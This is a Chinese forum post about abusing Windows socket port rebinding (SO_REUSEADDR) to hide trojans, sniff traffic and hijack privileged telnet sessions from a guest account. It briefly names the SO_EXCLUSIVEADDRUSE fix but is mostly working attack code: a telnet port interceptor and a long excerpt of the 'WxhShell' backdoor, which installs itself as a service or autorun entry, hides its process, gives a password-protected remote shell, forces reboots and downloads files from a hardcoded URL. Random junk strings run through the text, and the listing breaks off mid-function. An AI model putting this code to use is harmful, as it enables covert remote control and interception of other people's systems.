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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: I:mr}mv=i  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dq]0X?[6  
rzt Ru  
  saddr.sin_family = AF_INET; ZIQ [bE7  
%}%Qc6.H  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Z]B~{!W1  
@nux9MX<9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v%q0OX>9X"  
<yd{tD$A*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3\XU_Xs(]  
HSc~*Q  
  这意味着什么?意味着可以进行如下的攻击: 1fpQLaT  
8P|D13- Q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DAXX;4  
u:=7l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) q^Y-}=w  
VIv&ofyAR  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <ZNzVnVA  
RS8Hf~0G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ME*LH r,  
>k (C  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 b45-:mi!&#  
~{jcH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "hsb8-  
<i&_ooX  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~vyf4TF<#  
[5SD_dN  
  #include |a Vn&qK  
  #include R=QZgpR  
  #include hpD!2 K3>  
  #include    ^zQ/mo,Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `Tv[DIVW  
  int main() "$YJX1u3  
  { |>dI/_'  
  WORD wVersionRequested; 0 eDHu  
  DWORD ret; m)'=G%y  
  WSADATA wsaData; $w`=z<2yo1  
  BOOL val; =`H@%  
  SOCKADDR_IN saddr; 'F9jq  
  SOCKADDR_IN scaddr; tM'P m   
  int err; ,,q10iF  
  SOCKET s; 9-fLz?J  
  SOCKET sc; Xg;}R:g '  
  int caddsize; }khV'6"'|  
  HANDLE mt; ~ v|>xqWV  
  DWORD tid;   `u&Rsz&^  
  wVersionRequested = MAKEWORD( 2, 2 ); VgZsB$Ori  
  err = WSAStartup( wVersionRequested, &wsaData ); U_I5fK =  
  if ( err != 0 ) { ^f4s"T  
  printf("error!WSAStartup failed!\n"); hYG6 pTCb  
  return -1; kY-N>E:  
  } Z/Dx,zIR  
  saddr.sin_family = AF_INET; ;'#8tGv=  
   woGAf)vV#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0"28'  
7`DBS^O]dG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $#9;)8J  
  saddr.sin_port = htons(23); .uMn0PE   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rrik,qyv6  
  { B#Vz#y  
  printf("error!socket failed!\n"); KUlp"{a`,K  
  return -1;  Ac2n  
  } {Tq_7,8  
  val = TRUE; V{/?FO?E  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 a%/9v"}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) s@K4u^$A  
  { .$+#1-  
  printf("error!setsockopt failed!\n"); 61k"p2?+  
  return -1; 0=2@  
  } b*c*r dTx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *zb Nd:i9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |B.Y6L6l  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P-yjN  
<7/R,\Wg~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7QiIiWqIWC  
  { `ZyI!"  
  ret=GetLastError(); / F4zg3  
  printf("error!bind failed!\n"); e> e}vZlX  
  return -1; @#T|Y&  
  } @tNzQ8  
  listen(s,2); R;uvkg[o  
  while(1) FKDk+ojw  
  { FWrX3i  
  caddsize = sizeof(scaddr); hKL4cpK4  
  //接受连接请求 f!Y?S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5YE'L.  
  if(sc!=INVALID_SOCKET) DgId_\Ze  
  { sBvzAVBL  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;- ~B)M_S`  
  if(mt==NULL) tE<H|_{L  
  { 3no%E03p  
  printf("Thread Creat Failed!\n"); `T@i.'X  
  break; u8&Z!p\  
  } lb4Pcd j  
  } E7j(QO f  
  CloseHandle(mt); SJb&m-  
  } . qO@Q=  
  closesocket(s); 2_HNhW  
  WSACleanup(); qkDI](4  
  return 0; n8~N$tDU  
  }   #Z?A2r!1  
  DWORD WINAPI ClientThread(LPVOID lpParam) O_oPh] x)  
  { "l3_=Gua  
  SOCKET ss = (SOCKET)lpParam; BC&S>#\  
  SOCKET sc; N{9v1`B  
  unsigned char buf[4096]; gc_:%ki  
  SOCKADDR_IN saddr; il4^zj82  
  long num; !/'t5~x[  
  DWORD val; <J< {l  
  DWORD ret; _S<3\%(0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *+Ek0M  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,w<S|#W~+  
  saddr.sin_family = AF_INET; md)c0Bg8~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); LG{,c.Qj*  
  saddr.sin_port = htons(23); %9KldcQ}~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N7b8m?!  
  { {f3YsM;]C  
  printf("error!socket failed!\n"); at#ja_ hd  
  return -1; ?~BC#B\>o  
  } Gw/Pk4R  
  val = 100; S 6@u@C  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4KhV|#-;k  
  { i1ixi\P{0  
  ret = GetLastError(); 6tgt>\y  
  return -1; -`*a'p-=  
  } V#2+"(7h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?pW`cFLDHF  
  { GZN ^k+w  
  ret = GetLastError(); eVjBGJ=2e  
  return -1; <=zQ NBtx  
  } n\Z!ff/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _<n~n]%  
  { ZCMw3]*  
  printf("error!socket connect failed!\n"); w1EXh  
  closesocket(sc); -; s|  
  closesocket(ss); !#], hok8X  
  return -1; .F98G/s  
  } + nrbShV  
  while(1) 2e+UM$  
  { 2J7:\pR^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E:UW#S%A f  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =)0,#9k U]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >,V9H$n  
  num = recv(ss,buf,4096,0); s 1 A.+  
  if(num>0) $ Xv*,Bq  
  send(sc,buf,num,0); q(  
  else if(num==0) bn|I> e  
  break; b6 cBg  
  num = recv(sc,buf,4096,0); }MJy +Z8&  
  if(num>0) 5kc/Y/4o  
  send(ss,buf,num,0); z`.<U{5  
  else if(num==0) R/~p>apg8  
  break; e>} s;H,  
  } x,=&JtKVc  
  closesocket(ss); Ep9nsX*   
  closesocket(sc); $SlIr<'*"  
  return 0 ; j8v8uZ;x  
  } t URu0`](  
LC,F <>w1  
:(/~:^!  
========================================================== LdYB7T,  
v> LIvi|]  
下边附上一个代码,,WXhSHELL h9t$Uz^N  
MU`1LHg  
========================================================== 0at/c-K`  
jZu[n)u'C  
#include "stdafx.h" {3|t;ZHk  
<wk!hTm W  
#include <stdio.h> qmkAg }2  
#include <string.h> HZ aV7dOZ8  
#include <windows.h> 1T"`v tR  
#include <winsock2.h> F|'>NL-=  
#include <winsvc.h> &p'Y^zL-  
#include <urlmon.h> hr#M-K  
4`4kfiS$  
#pragma comment (lib, "Ws2_32.lib") Tm~" IB*  
#pragma comment (lib, "urlmon.lib") \o z#l'z  
-R|,9o^  
#define MAX_USER   100 // 最大客户端连接数 6hno)kd{=  
#define BUF_SOCK   200 // sock buffer H`*LBqDk  
#define KEY_BUFF   255 // 输入 buffer EEEh~6?-e  
M1k{t%M+S  
#define REBOOT     0   // 重启 vNyf64)  
#define SHUTDOWN   1   // 关机 /j #n  
.M qP_Z',  
#define DEF_PORT   5000 // 监听端口 0\X\izQ5  
d6Ht2  
#define REG_LEN     16   // 注册表键长度 "|x^|n8i  
#define SVC_LEN     80   // NT服务名长度 %"q9:{m  
S ^!n45l  
// 从dll定义API ahJ`T*)HY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J9\Cm!H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MUaq7B_>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); prWk2_D;*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K?6jXJseb  
qrb[-|ie&  
// wxhshell配置信息 !]"@kl%  
struct WSCFG { )MtF23k)g  
  int ws_port;         // 监听端口 w^\52  
  char ws_passstr[REG_LEN]; // 口令 4-l 8,@9  
  int ws_autoins;       // 安装标记, 1=yes 0=no .N,bIQnj  
  char ws_regname[REG_LEN]; // 注册表键名 p\Q5,eg  
  char ws_svcname[REG_LEN]; // 服务名 W/=.@JjI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ayn)5q/z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :">!r.Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BOX{]EOj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T(#J_Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B al`y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `{f}3bO7C  
zG }@0  
}; /fKx} }g)  
;0Q4<F  
// default Wxhshell configuration DHy q^pJ  
struct WSCFG wscfg={DEF_PORT, qSM|hHDo)  
    "xuhuanlingzhe", cutuDZ  
    1, Q$a{\*[:+  
    "Wxhshell", +! ]zA4x  
    "Wxhshell", DEBB()6,  
            "WxhShell Service", .6ylZ  
    "Wrsky Windows CmdShell Service", evya7^,F  
    "Please Input Your Password: ", 3$jT*OyG#  
  1, nXaC 3W:"  
  "http://www.wrsky.com/wxhshell.exe", +vw\y  
  "Wxhshell.exe" \S"isz  
    }; .r|tSfm6  
&pP;Neh;  
// 消息定义模块 =Z{O<xw'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )\1@V+!E%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '50OgF'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K='z G*$l  
char *msg_ws_ext="\n\rExit."; /74QMx?  
char *msg_ws_end="\n\rQuit."; ;nI] !g:  
char *msg_ws_boot="\n\rReboot..."; F3y9@dA]  
char *msg_ws_poff="\n\rShutdown..."; S50k>_a;  
char *msg_ws_down="\n\rSave to "; zUt' QH7E.  
EB0TTJR?#  
char *msg_ws_err="\n\rErr!"; ]RZ|u*l=x  
char *msg_ws_ok="\n\rOK!"; &9.Cl;I  
Wjo[ENHM  
char ExeFile[MAX_PATH]; vt/x ,Y  
int nUser = 0; cb@?}(aFl  
HANDLE handles[MAX_USER]; C1V|0h u  
int OsIsNt; 6`&a&%,O  
ML}J\7R  
SERVICE_STATUS       serviceStatus; Y@NNrGDkT*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \e:7)R2<!x  
w VvF^VHV^  
// 函数声明 %h hfU6[  
int Install(void); O;+ maY^l  
int Uninstall(void); ,bZL C  
int DownloadFile(char *sURL, SOCKET wsh); N,<uf@LQ  
int Boot(int flag); h! M  
void HideProc(void); %Si6]3-^@  
int GetOsVer(void); To\QjP-  
int Wxhshell(SOCKET wsl); OstQqV%@  
void TalkWithClient(void *cs); a Fl;BhM  
int CmdShell(SOCKET sock); i"1Mfz~e  
int StartFromService(void); O+nEXS\rQ  
int StartWxhshell(LPSTR lpCmdLine); jkQ*D(;p  
t^UxR@l<K|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ud63f` W]4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jqz ux[6{  
pD8+ 4;A  
// 数据结构和表定义 ~jWn4 \  
SERVICE_TABLE_ENTRY DispatchTable[] = @CNi{. RX  
{ \J4L:.`qS  
{wscfg.ws_svcname, NTServiceMain}, t DO=P c  
{NULL, NULL} pg6cF  
}; S~<$H y*kh  
aJSO4W)P  
// 自我安装 cA&9e<  
int Install(void) *-#&K\  
{ Ij 79~pn  
  char svExeFile[MAX_PATH]; rExnxQ<e  
  HKEY key; -fM1nH&  
  strcpy(svExeFile,ExeFile); b\ X@gq  
~b(i&DVK  
// 如果是win9x系统,修改注册表设为自启动 @tF\p  
if(!OsIsNt) { \|n- O=}=2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gGR"Z]DBk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *~2,/D  
  RegCloseKey(key); XP`Nf)3{Yd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _Mi5g_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j9m_jv  
  RegCloseKey(key); ~Q*%DRd&Z-  
  return 0; >|J`s~?  
    } \0A3]l  
  } ]q\b,)4 e  
} <c*FCblv  
else { 4aug{}h("  
[Hx0`Nc K  
// 如果是NT以上系统,安装为系统服务 0}<|7?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3t.l5m Rg5  
if (schSCManager!=0) Z3%}ajPu[  
{ #^#PPO  
  SC_HANDLE schService = CreateService [m- >5H  
  ( 36.Z0Z1'F>  
  schSCManager, ke!?BZx  
  wscfg.ws_svcname, 'Oxy$U   
  wscfg.ws_svcdisp, MO[2~`,Q!  
  SERVICE_ALL_ACCESS, q~rEq%tk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]yV!  
  SERVICE_AUTO_START, )"qa kT  
  SERVICE_ERROR_NORMAL, HsxVZ.dS  
  svExeFile, sZ'nY o  
  NULL, H!c@klD  
  NULL, E!;SL|lj.  
  NULL, XYQ/^SI!:  
  NULL, UJ%R   
  NULL SP@ >vl+;  
  ); "RedK '7g  
  if (schService!=0) /9 3M*b  
  { p$O.> [  
  CloseServiceHandle(schService); 3N 8t`N  
  CloseServiceHandle(schSCManager); "WlZ)wyF%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6d:zb;Iz  
  strcat(svExeFile,wscfg.ws_svcname); %Celc#v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  Ii6<b6-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AWcLUe{  
  RegCloseKey(key); p}&#jE  
  return 0; "<6G6?sz  
    } 5CuuG<0  
  } X3(tuqmi  
  CloseServiceHandle(schSCManager); {vs uPY  
} |U~<3.:m:  
} ky8_UnaO  
*F WMn.  
return 1; T=<@]$?  
} '-QwssE  
(XVw"m/ye  
// 自我卸载 M\vwI"  
int Uninstall(void) Y=%tn8<  
{ MvuQz7M#d  
  HKEY key; ) g0%{dfJ  
[2>yYr s_=  
if(!OsIsNt) { U] ~$g}!)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3s5z UT;  
  RegDeleteValue(key,wscfg.ws_regname); RPwbTAl}  
  RegCloseKey(key); ycc4W*]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }q`ts=dlGt  
  RegDeleteValue(key,wscfg.ws_regname); +00b)TF  
  RegCloseKey(key); [v7F1@6b  
  return 0; wrviR  
  } -M~8{buxv  
} ,aOl_o -&  
} czA5n  
else { R$v[!A+:'  
XND|h#i8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PvzcEV  
if (schSCManager!=0) r`=+L-!  
{ s kv GU(G}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E{`kaWmC&~  
  if (schService!=0) i 6R~`0>Q  
  { *lYVY) L  
  if(DeleteService(schService)!=0) { -^K"ZP1  
  CloseServiceHandle(schService); Amp#GR1CA  
  CloseServiceHandle(schSCManager); ~Uu4=  
  return 0; e%@'5k\SK  
  } ~Uj=^leYO  
  CloseServiceHandle(schService); ;m0~L=w  
  } :Hn6b$Vy8  
  CloseServiceHandle(schSCManager); :uP,f<=)K  
} kh!FR u h  
} [O$Wa:< 0x  
VdPtPq1  
return 1; ?OId\'q  
} O $LfuL  
!6n_}I-W  
// 从指定url下载文件 l#m#c6;=  
int DownloadFile(char *sURL, SOCKET wsh) vV6<^ W:9F  
{ Sw:7pByjI  
  HRESULT hr; &[_g6OL  
char seps[]= "/"; H[{F'c[e  
char *token; nR7d4)  
char *file; [\'%?BH(^  
char myURL[MAX_PATH]; W~6EEyD%  
char myFILE[MAX_PATH]; A]<y:^2])C  
b v G/|U  
strcpy(myURL,sURL); t 4PK}>QW  
  token=strtok(myURL,seps); 2- &k^Gl!:  
  while(token!=NULL) nx@=>E+a  
  { YO#M/%^j  
    file=token; =w;F<M|Y  
  token=strtok(NULL,seps); pyH:#5  
  } O&vVv _zh  
!_"@^?,q  
GetCurrentDirectory(MAX_PATH,myFILE); 9l|@v=gw.  
strcat(myFILE, "\\"); $g@=Z"  
strcat(myFILE, file); xRJ\E }/7  
  send(wsh,myFILE,strlen(myFILE),0); ;t'5},(FP  
send(wsh,"...",3,0); ,qA(\[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^.1)};i  
  if(hr==S_OK) Jy^u?  
return 0; 46$._h P  
else zxJ]" N  
return 1; 3Iua*#<m,  
wE[]6\_x1  
} ]"J~:{, d  
rk&IlAE  
// 系统电源模块 M V<^!W  
int Boot(int flag) wL;l Q&  
{ "*($cQ$v  
  HANDLE hToken; )n+Lo&C<  
  TOKEN_PRIVILEGES tkp; +lm{Olm'^  
4F)-"ck  
  if(OsIsNt) { /rM I"khB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t'?.8}?)I&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PjZvQ\Z  
    tkp.PrivilegeCount = 1; ?<V?wsp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b$4"i XSQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XnDUa3  
if(flag==REBOOT) { K:!"+q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~kQA7;`j$  
  return 0; N2B|SO''  
} 'U1R\86M  
else { ADS9DiX/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _/F7 ?^j  
  return 0; Y ?S!8-z  
} %Qc La//  
  } 6 2'j!"xv  
  else { >v:y?A,  
if(flag==REBOOT) { 5Ec6),+&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {F3xJ[  
  return 0; (gy#js #  
} &{ay=Mj  
else { 5XO;N s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q7*SE%H  
  return 0; YX=a#%vrl  
} kv3E4,<9  
} 3_txg>P"  
4~y(`\0?4  
return 1; %oq{L]C(rf  
} +Fuqch jq  
M%Ji0v38  
// win9x进程隐藏模块 =5Q]m6-SgV  
void HideProc(void) 2-7IJ\  
{ yGWxpzmRS  
@*OZx9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @<&5J7fb  
  if ( hKernel != NULL ) j2ve^F:Q  
  { u2[ iMd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rQk<90Ar  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K!:azP,bZ  
    FreeLibrary(hKernel); ?6Jx@Sh  
  } NYE` Kin-  
hHN'w73z  
return; X<i^qoV  
} 7{e% u#  
!>v2i"  
// 获取操作系统版本 {wO3<9  
int GetOsVer(void) vu|n<  
{ ^c<ucv6.  
  OSVERSIONINFO winfo; wLmhy,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "7!;KHc  
  GetVersionEx(&winfo); 5Y.vJz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V@Rrn <l  
  return 1; WfWN(:dF  
  else "^4_@ oo  
  return 0; t\Nq R  
} h?rp|uPQ  
'h/CoTk@,  
// 客户端句柄模块 a d.3A{  
int Wxhshell(SOCKET wsl) G"\`r* O  
{ I Y2)?"A  
  SOCKET wsh; X*M#FT-  
  struct sockaddr_in client; |kw)KEi}H  
  DWORD myID; U F?H>Y&  
U@gn;@\  
  while(nUser<MAX_USER) d\p,2  
{ ;gBRCZ  
  int nSize=sizeof(client); FuVnk~gq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .$Ik`[+Z  
  if(wsh==INVALID_SOCKET) return 1; (&}i`}v_  
\]&#%6|V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qDv93  
if(handles[nUser]==0) 9F4Dm*_<  
  closesocket(wsh); sArhZ[H  
else Y<mej][  
  nUser++; E}Y!O"CAV  
  } T,]7ICF#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "B =  
}!;s.[y  
  return 0; |(pRaiJ  
} &QDW9 Mi  
'SCidN(n  
// 关闭 socket ~Q?a|mV,  
void CloseIt(SOCKET wsh) WOQP$D9  
{ K<pV  
closesocket(wsh); hCCiD9gz  
nUser--; }2(,K[?  
ExitThread(0); JQV%fTHS  
} My<snmr2d  
yHs- h   
// 客户端请求句柄 dQ_!)f&w1  
void TalkWithClient(void *cs) O$IEn/%+  
{ F{EnOr`,m=  
 TR<<+  
  SOCKET wsh=(SOCKET)cs; FO!]P   
  char pwd[SVC_LEN]; U'R)x";=  
  char cmd[KEY_BUFF]; Yj)#k)x  
char chr[1]; 6b+b/>G0  
int i,j; 7]9 a<  
:X.b}^Z(  
  while (nUser < MAX_USER) { +VCGlr  
)#.<]&P}  
if(wscfg.ws_passstr) { jgbLN/_{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G>wqt@%r9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); twP,cyR  
  //ZeroMemory(pwd,KEY_BUFF); Fb^:V4<T  
      i=0; RnhL< Ywu  
  while(i<SVC_LEN) { ,_yh z0.  
kD*2~Z?;  
  // 设置超时 Ys@}3\Mc  
  fd_set FdRead; an|x$e7|?  
  struct timeval TimeOut; nX(+s*Y+w  
  FD_ZERO(&FdRead); %;e/7`>Ma  
  FD_SET(wsh,&FdRead); )^4\,u\@  
  TimeOut.tv_sec=8; T(e!_VY|m  
  TimeOut.tv_usec=0; I 4,K43|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2C/$Ei^t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /h*>P:i].  
P^w#S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z2TL#@  
  pwd=chr[0]; kB'Fkqwm  
  if(chr[0]==0xd || chr[0]==0xa) { Eve.QAl|  
  pwd=0; mMb'@  
  break; ^;/b+ /B0  
  } sB^<6W!`(  
  i++; TYJ:!  
    } 3~}uqaGt  
2'_:S@  
  // 如果是非法用户,关闭 socket Z$0 uH*h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gA:5M  
} TQx.KM>y  
IG|X!l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o3I Tr';  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fRtUvC-#H  
O)ME"@r@:  
while(1) { `t_W2y   
,!dh2xNH^  
  ZeroMemory(cmd,KEY_BUFF); j:E<p_T  
KnsT\>[K  
      // 自动支持客户端 telnet标准   J(c{y]`J  
  j=0; YN`H BFH  
  while(j<KEY_BUFF) {  A-4h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cfcim.jB  
  cmd[j]=chr[0]; _Y8hb!#(  
  if(chr[0]==0xa || chr[0]==0xd) { ^@qvl%j  
  cmd[j]=0; ?pn}s]*/  
  break; FI3)i>CnW  
  } oo=Qt(#  
  j++; &4b&X0pU  
    } /%&2HDA)  
G8r``{C!  
  // 下载文件 $)RNKMZC}A  
  if(strstr(cmd,"http://")) { =,Dqqf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WAn~ +=Ax  
  if(DownloadFile(cmd,wsh)) B>GE 9y5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =0G!f$7^i  
  else _~*,m#uxJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Qgt${|  
  } h"_~7 jq"  
  else { AwslWkd=  
h\nI!{A0  
    switch(cmd[0]) { NGOqy+Ty{f  
  \hhmVt@@  
  // 帮助 ]3g?hM6  
  case '?': { b@S Cn9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PB#fP_0C  
    break; mml<9fbH  
  } 6(G?MW.  
  // 安装 -5T=:2M  
  case 'i': { :_t}QP"  
    if(Install()) df n9!h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qUxRM_7U  
    else Eh|]i;G%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e 46/{4F,  
    break; K91)qI;BD  
    } E;1Jh(58)b  
  // 卸载 /)dFK~  
  case 'r': { 7oq[38zB  
    if(Uninstall()) Sp}tD<V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #{=;NuP  
    else oiX+l5`pz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BRk0CLr5  
    break; 1[jb)j1  
    } cIp D~0\  
  // 显示 wxhshell 所在路径 7c~u=U"  
  case 'p': { uPRQU+  
    char svExeFile[MAX_PATH]; v@wb"jdFi$  
    strcpy(svExeFile,"\n\r"); CT1ja.\;  
      strcat(svExeFile,ExeFile); kI:}| _  
        send(wsh,svExeFile,strlen(svExeFile),0); %/YcL6o(  
    break; A?`jnRo=\  
    } M?[h0{^K  
  // 重启 m+#iR}*1L  
  case 'b': { Q4*fc^?u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jq+A-T}@  
    if(Boot(REBOOT)) $d,0=Ci  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lhtZaU~V  
    else { c wOJy >  
    closesocket(wsh); $*kxTiG!7  
    ExitThread(0); I(9R~q  
    } "h|'}7p  
    break; 9Ffp2NW`;  
    } ;q:jl~  
  // 关机 ?gwUwOV"  
